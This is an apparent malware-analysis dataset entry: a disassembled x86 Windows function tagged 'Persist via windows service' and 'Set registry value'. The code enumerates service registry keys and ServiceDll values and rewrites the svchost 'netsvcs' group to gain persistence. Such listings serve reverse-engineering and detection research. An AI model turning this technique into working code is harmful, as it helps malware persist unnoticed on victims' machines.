Function at 0x4034ce
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434a28
push 0x425284
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
mov eax, 0x142a0
call fcn.00425e20
mov eax, dword [0x44de90]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor edx, edx
mov dword [ebp - 0x14278], edx
mov byte [ebp - 0x270], dl
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x26f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, str.ServiceDll
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x16c], dl
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x16b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x14271], dl
mov dword [ebp - 0x1428c], edx
mov byte [ebp - 0xc270], dl
mov ecx, 0xfff
xor eax, eax
lea edi, [ebp - 0xc26f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], edx
mov dword [ebp - 0x14284], edx
mov ebx, 0x80000002
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x14284], 5
jg 0x403884
lea eax, [ebp - 0x270]
cmp dword [ebp - 0x14284], edx
jne 0x4035a8
push str.SYSTEMCurrentControlSetServices
push eax
call fcn.00424fde
pop ecx
pop ecx
jmp 0x4035bc
push dword [ebp - 0x14284]
push str.SYSTEMControlSet00_dServices
push eax
call fcn.00424fde
add esp, 0xc
lea eax, [ebp - 0x14278]
push eax
push 0x2001f
xor edi, edi
push edi
lea eax, [ebp - 0x270]
push eax
push ebx
call dword [0x451e18]
test eax, eax
jne 0x403877
mov dword [ebp - 0x14290], edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x14290]
push eax
push edi
push edi
push edi
push dword [ebp - 0x14278]
call dword [0x451e30]
test eax, eax
jne 0x40386b
mov byte [ebp - 0x14270], al
mov ecx, 0xfff
lea edi, [ebp - 0x1426f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and dword [ebp - 0x14288], 0
and dword [ebp - 0x142ac], 0
mov eax, dword [ebp - 0x14288]
cmp eax, dword [ebp - 0x14290]
jae 0x40386b
mov byte [ebp - 0x14272], 0
mov byte [ebp - 0x14270], 0
push 0x4000
lea eax, [ebp - 0x14270]
push eax
push dword [ebp - 0x14288]
push dword [ebp - 0x14278]
call dword [0x451e38]
test eax, eax
jne 0x403860
mov byte [ebp - 0x4270], al
mov ecx, 0xfff
lea edi, [ebp - 0x426f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x4270]
push eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call edi
push 0x43462c
lea eax, [ebp - 0x4270]
push eax
call esi
lea eax, [ebp - 0x14270]
push eax
lea eax, [ebp - 0x4270]
push eax
call esi
push 0x4349c8
lea eax, [ebp - 0x4270]
push eax
call esi
and dword [ebp - 0x14280], 0
lea eax, [ebp - 0x14280]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x4270]
push eax
push ebx
call dword [0x451e18]
mov dword [ebp - 0x142a0], eax
test eax, eax
je 0x403738
cmp eax, 5
jne 0x403860
lea eax, [ebp - 0x4270]
push eax
lea eax, [ebp - 0xc270]
push eax
call edi
lea eax, [ebp - 0x4270]
push eax
push ebx
call fcn.00401520
pop ecx
pop ecx
mov dword [ebp - 0x1428c], eax
test eax, eax
je 0x403860
mov byte [ebp - 0x14271], 1
cmp dword [ebp - 0x14280], 0
je 0x40374d
push dword [ebp - 0x14280]
call dword [0x451e1c]
lea eax, [ebp - 0x14280]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x4270]
push eax
push ebx
call dword [0x451e18]
mov dword [ebp - 0x142a0], eax
test eax, eax
jne 0x40383a
mov dword [ebp - 0x1429c], 0x4000
mov byte [ebp - 0x8270], al
mov ecx, 0xfff
lea edi, [ebp - 0x826f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1429c]
push eax
lea eax, [ebp - 0x8270]
push eax
lea eax, [ebp - 0x142b8]
push eax
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x14280]
call dword [0x451e28]
test eax, eax
jne 0x4037de
push dword [ebp + 8]
lea eax, [ebp - 0x8270]
push eax
call fcn.0042766e
pop ecx
pop ecx
test eax, eax
jne 0x4037de
mov byte [ebp - 0x14272], 1
push dword [ebp - 0x14280]
call dword [0x451e1c]
cmp byte [ebp - 0x14272], 0
je 0x40383a
lea eax, [ebp - 0x4270]
push eax
call fcn.00425700
lea ecx, [ebp - 0x4270]
sub ecx, 0xb
mov byte [eax + ecx], 0
mov dword [esp], 0x104
lea eax, [ebp - 0x4270]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004264a0
push 1
lea eax, [ebp - 0x4270]
push eax
push ebx
call fcn.00422d42
add esp, 0x18
jmp 0x403860
cmp byte [ebp - 0x14271], 0
je 0x403860
lea eax, [ebp - 0xc270]
push dword [ebp - 0x1428c]
push eax
push ebx
call fcn.00401669
add esp, 0xc
mov byte [ebp - 0x14271], 0
inc dword [ebp - 0x14288]
jmp 0x403630
push dword [ebp - 0x14278]
call dword [0x451e1c]
inc dword [ebp - 0x14284]
xor edx, edx
jmp 0x40357e
push 0x4349c5
lea eax, [ebp - 0x16c]
push eax
call fcn.00425100
pop ecx
pop ecx
test eax, eax
je 0x403954
push 0xd
pop ecx
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [str.netsvcs]
mov dword [ebp - 0x24], eax
mov eax, dword [0x43498c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x1427c], eax
mov dword [ebp - 0x142a8], 0x4000
push eax
call fcn.00425700
pop ecx
lea eax, [ebp + eax - 0x16c]
mov dword [ebp - 0x1427c], eax
dec dword [ebp - 0x1427c]
mov eax, dword [ebp - 0x1427c]
cmp byte [eax], 0x5c
je 0x403906
lea eax, [ebp - 0x16c]
cmp dword [ebp - 0x1427c], eax
jne 0x4038e7
inc dword [ebp - 0x1427c]
lea eax, [ebp - 0x14278]
push eax
push 0x2001f
xor esi, esi
push esi
lea eax, [ebp - 0x68]
push eax
push ebx
call dword [0x451e18]
test eax, eax
jne 0x403954
lea eax, [ebp - 0x142a8]
push eax
lea eax, [ebp - 0x10270]
push eax
lea eax, [ebp - 0x14294]
push eax
push esi
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14278]
call dword [0x451e28]
test eax, eax
je 0x403966
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.004253ca
pop ecx
pop ecx
jmp 0x403a5a
lea edi, [ebp - 0x10270]
mov dword [ebp - 0x14298], edi
mov dword [ebp - 0x142a4], esi
push 0x4349c5
push edi
call fcn.00425100
pop ecx
pop ecx
test eax, eax
je 0x4039b6
push dword [ebp - 0x1427c]
push edi
call fcn.00425100
pop ecx
pop ecx
test eax, eax
jne 0x4039a3
mov esi, edi
mov dword [ebp - 0x142a4], esi
push edi
call fcn.00425700
pop ecx
lea edi, [edi + eax + 1]
mov dword [ebp - 0x14298], edi
jmp 0x403978
test esi, esi
je 0x403a0a
push esi
call fcn.00425700
lea ebx, [eax + esi + 1]
mov dword [ebp - 0x142b4], ebx
mov eax, edi
sub eax, ebx
inc eax
push eax
push ebx
push esi
call fcn.00425790
add esp, 0x10
sub esi, ebx
lea eax, [ebp - 0x10270]
sub esi, eax
add esi, edi
mov dword [ebp - 0x142b0], esi
push esi
push eax
push dword [ebp - 0x14294]
push 0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14278]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403a1d
xor bl, bl
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.004253ca
pop ecx
pop ecx
mov al, bl
jmp 0x403a5c
mov byte [0x44eccc], 1
mov bl, 1
jmp 0x403a0c
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00425221
pop edi
pop esi
pop ebx
leave
ret